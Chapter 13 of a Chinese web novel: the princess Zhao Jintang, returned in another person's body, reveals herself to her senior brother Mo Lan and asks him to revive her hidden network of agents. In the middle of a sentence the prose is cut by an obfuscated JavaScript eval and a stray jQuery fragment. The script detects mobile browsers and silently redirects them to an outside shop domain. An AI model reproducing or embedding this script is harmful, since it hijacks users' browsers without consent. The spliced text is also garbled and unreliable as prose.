第十三章墨澜
窗户未关严实,清风徐来,屋内的帷幔随着风轻轻扬动,人影若隐若现。
只几秒,墨澜便起身撩开帷幔,慢慢从后头走来,行至跟前,他便瞧见了两人。
墨澜的目光落在赵瑾棠身上,略略扫了眼,而后视线移动,看向了沈宴。
“小王爷以往若是要来,直接便上来了,怎么今日还使人递了方帕子?这是何意?”
墨澜语气平和自然,但细听之下,却还是能听出些不对劲儿来。
方才见到那帕子上的刺绣时,他竟真的以为是那人回来了。
没想到,却是沈宴。
只是,为何沈宴会知道他与长公主的联系方式,而且,居然还带了个陌生人来。
沈宴一副事不关己的模样,他摆手,径直走向罗汉榻,十分自然的给自己倒了杯茶,“要见你的不是我,是她。”
屋内就三个人,这个她指的是谁,不言而喻。
墨澜这才将目光重新投向赵瑾棠,他唇角带笑,眉眼间的不解一闪而过,仍旧是礼数周全。
他并未在意沈宴,既然眼前这人是沈宴带来的,恐怕自己的身份对方也早就知道了。
只是,不知道出于何种原因,沈宴未向宫里揭穿
故而,他此刻问话,也没想着再避开沈宴。
“郎君既使人给我递了帕子来,想必是清楚那刺绣的含义,”墨澜的视线始终落在赵瑾棠的脸上,“为何我之前没见过你?”
眼底带着试探,更多的似乎是期待,至于在期待什么,赵瑾棠心知肚明。
她看着墨澜,不发一言,良久之后,终于缓声道:“墨小澜,别来无恙。”
“墨小澜”的称呼一出,整个屋子便更加显得静谧了,气氛瞬间变得有些怪异。
“你……”墨澜眉头紧蹙,有了些许的防备,“你到是何人?”
他本以为这陌生郎君也许会是赵瑾棠未被人拔除的暗桩,可此刻,他却有着迟疑了。
墨澜略微偏头看向沈宴,希望能从他那里得到了一丝线索。
沈宴似有所感,转头对上了墨澜的视线,他往后轻轻靠在凭几上,笑了,“我就是来凑个热闹,你问她。”
片刻后,极轻的叹息从赵瑾棠口中溢出,她走到沈宴边上坐下,还未出声,手边便多了杯热茶。
“这茶不错,”沈宴眉眼温柔,丝毫不见往日里那副玩世不恭的模样,“尝尝。”
墨澜站在原地,自始至终都未挪动半分,只紧紧的盯着赵瑾棠。
他的视线落在赵瑾棠的手中,却见对方直接端起茶杯便往唇边送。
心底的那点期待与妄想瞬间断了。
果真是自己想多了。
眼前这人怎么可能是她。
内心虽混乱,手却不已经不自觉拢进了宽大的袖中,数枚银针只瞬息间便萦满了他的指尖。
视线又不自觉地转向了沈宴,对他的防备心渐起。
一切都太奇怪了。
平日沈宴来时,从未听说过他与赵瑾棠认识亦或是会有什么交情。
可今日来,他不仅带了人,而且还知道自己与赵瑾棠的联系方式。
“墨小澜,把银针收收,待会儿若是伤到了小王爷,当心沈老王爷踏平了你的袖玉堂。”
听见这话,沈宴有些不乐意了。
他将手中的杯子放回桌案上,发出一声清脆响声,无奈开口:“殿下,您又说笑。”
殿下!?
哪位殿下?
除了长公主和肃王爷,这大邺的其他几位王爷公主他都认得是何模样。
与沈宴关系极为要好的安王赵睿,他也曾是见过面的。
压根不是眼前这人。
墨澜微顿,他思绪翻涌,心中慢慢起了个荒诞的念头。
若是他没记错,赵瑾棠曾在镇北王府居住了两年。
养父命陨沙场后,她才离开王府,跟随养父的脚步,一头扎进了北境的腥风血雨中。
后来,便是被认回了上京,成了人人艳羡的嫡长公主。
再之后更是接管了北境军。
墨澜心中大骇,依旧不动声色,他露出几分恰到好处的诧异来,惊道。
“殿下?小王爷莫要说笑,这大邺的几位殿下我袖玉堂还是识得的,不知眼前这位是哪位殿下?”
沈宴掀眸看了眼赵瑾棠,见她没有多大反应,直接便替她答了。
“自然是大邺前镇北军大将军,护国长公主殿下了。”
此话才落,墨澜才变了脸色,他直接将腰间的软剑“唰”的一下抽出,再开口,语气染上了怒意,“小王爷慎言!殿下是何等尊贵,怎由得其他人顶了名头,招摇撞骗!”
说着,他将剑指向赵瑾棠,冷声道:“是何人指使你,居然敢如此诓骗小王爷!”
赵瑾棠手中的茶水早就已经空了,听见这话,她抬眼看过去,眉眼带笑,“一年多没见,难为你还如此维护我。”
她起身,走到墨澜跟前,对着长剑不退半分,轻声道:“师兄,我回来了。”
随着“锵”的一声响后,墨澜手中的剑砸落在地上,他呼吸有些急促,难以置信地看着赵瑾棠,声音颤抖,“不……不可能。”
他往后退了两三步,觉得自己真是疯了,居然真的觉得眼前这人是赵瑾棠。
“我知你不会轻易相信,”赵瑾棠俯身,将地上的剑捡起来,笑道,“若是师父知道这剑被你如此随意丢在地上,恐怕又要罚你去落水洞面壁试过了。”
人人都知道,长公主赵瑾棠一岁时于夺嫡之乱中失踪,后在十六岁被人寻回。
小小年纪,便习得一身好武艺。
所有人都以为她这武艺是养父教的,却不知道,她的师父实则另有其人。
墨澜不发一言,眼神警惕。
赵瑾棠站在他对面,抬手挽了个漂亮的剑花,将长剑递过去,眉眼弯弯,问:“师兄,我如今挽的剑花能否与你的媲美了?”
“小师妹,真的是你?”墨澜几乎不敢相信自己的耳朵,他眼眶泛红,刚伸手却又缩了回去,摇摇头道,“不可能,我……”
“师兄,是我,”赵瑾棠忍不住再次叹气,她拉住墨澜的衣袖,将人带到了罗汉榻,把他按坐在榻上。
沈宴立刻斟了茶,递过去。
与往日里那副玩世不恭的模样简直就是大相径庭。
良久的沉默后,墨澜终于开口,“如若你真的是我小师妹,那这一年你究竟去了哪里?为何要假死?如今回来又为何变了模样?”
墨澜的问题接二连三,个个直击要害。
屋内还有人在,赵瑾棠本不欲多说,可如若不能得到信任,恐怕今日是不会全身而退了。
不说墨澜,光是沈宴,恐怕都不会让她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13035664|137252||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
轻易离开。
毕竟,墨澜说的这几个问题,皆是沈宴想要知道的。
她徐徐吐出口气,罢了,既要谋大事,又怎可隐瞒,更何况,眼前这两人皆与她情谊非常。
良久的沉默后,赵瑾棠选择了据实相告。
“我并非假死,不过是借尸还魂而已。”
赵瑾棠面色淡然,说起自己被赵桓谋害的一切时,语气更是平和,仿佛不过是件稀松平常的事情而已。
可说者无意,听者有心,
沈宴万万没想到,他到处寻人未果的原因,竟然是赵桓将人送到了昭国。
赵瑾棠失踪,北境军覆灭之后,他便知道这件事绝对与赵桓脱不了干系。
却不曾想,他竟然如此心狠手辣。
沈宴垂眸,遮住了眼底的翻涌的滔天怒气,他将杯子里的茶一饮而尽,堪堪压住了心底的疯狂。
不发一言。
“好!好一个赵桓!”墨澜将杯子甩到地上,脸色阴沉,“竟做出此等有违天理的事情来!”
墨澜平日里便是人人都称赞不已的端方君子,如今却被气得青筋暴起,眉眼间皆是愠色。
“师兄,此番我借元家娘子身份回京,便是要揭穿赵桓的真面目,不仅要为父皇和肃王兄报仇,还要替北境军的三万忠魂讨一个公道!”
外头突然传来喧闹声,赵瑾棠面色严肃,刚要起身却被墨澜按住,他缓声开口:“出了何事,怎地如此喧哗?”
几秒后,一道温柔女声传进来:“堂主,是睿王殿下,他贪杯醉了酒,要寻沈小王爷。”
赵瑾棠回头,原以为沈宴不会搭理。
却没想到,他却干净利落地站起身,始终半垂着眼眸,目光未曾触及赵瑾棠,低声道:“既如此,我便先行一步了。”
直到沈宴的身影消失在门口,赵瑾棠仍是未收回视线,只微微拧着眉头,不知道在想些什么。
“行了,人都走了,”墨澜看见她这副模样,忍不住调侃,一如从前,“师妹,你与小王爷到底是怎么回事?我方才见他情绪似乎有些不对劲。”
赵瑾棠回神,“啊”了一声,解释道:“没什么,我在平州杀了人被他瞧见了,这才暴露了身份。不过没事,他就是看热闹,不会乱说的。”
墨澜摇摇头,真不知道赵瑾棠是真不明白还是假不明白。
若是他猜的没错,那这沈宴对小师妹,还有的磨呢。
外头的喧闹声渐渐停了。
墨澜这才继续道:“所以你今日来寻我,是为了重启暗网?”
“是,一年前事发突然,除了暗网,还有其他暗桩未得消息,我不确定是否还有人活着,所以今日来也只是碰碰运气,好在,我赌赢了。”
墨澜点头,他起身走到屏风后,不多时,便从后头拿了枚玉佩出来,递给赵瑾棠:“我知你的意思,放心,一切有我。”
赵瑾棠接过玉佩,嗓音含笑却坚定:“谢谢师兄,既如此,烦请师兄帮我好好查一查徐家,北境军被害,徐松石是主谋之一,可从他身上入手。”
“我明白,赵桓下旨,声称你是被逆党害死,可我不信,便叫人盯住了北境军侥幸逃过一劫的几位将领,”墨澜说道,声音很轻,“起初是不愿意相信你死了,想查明真相,后来是想有个慰藉。”
说到这儿,他看向赵瑾棠,长长地舒了口气:“幸好,你真的回来了。”